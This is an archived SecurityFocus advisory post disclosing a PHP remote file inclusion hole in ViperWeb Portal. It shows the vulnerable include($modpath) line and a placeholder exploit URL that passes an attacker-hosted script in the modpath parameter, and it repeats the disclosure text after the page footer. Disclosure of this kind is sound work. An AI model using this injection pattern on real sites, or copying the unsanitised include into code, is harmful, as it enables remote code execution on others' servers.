Back to list
|
Post reply
Remote File Inclusion in ViperWeb
Mar 15 2007 12:07PM
asamad arpatech com
PHP remote file inclusion vulnerabilities in ViperWeb Portal allow remote attackers to execute arbitrary PHP code via a URL in the $modpath variable.
http://<Target_Web>/index.php?modpath=<Evil_Script>
Found in: line32.
Code: include($modpath);
Vulnerability found by
Abdus Samad
Advanced Research Project and Technologies.
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
http://<Target_Web>/index.php?modpath=<Evil_Script>
Found in: line32.
Code: include($modpath);
Vulnerability found by
Abdus Samad
Advanced Research Project and Technologies.
[ reply ]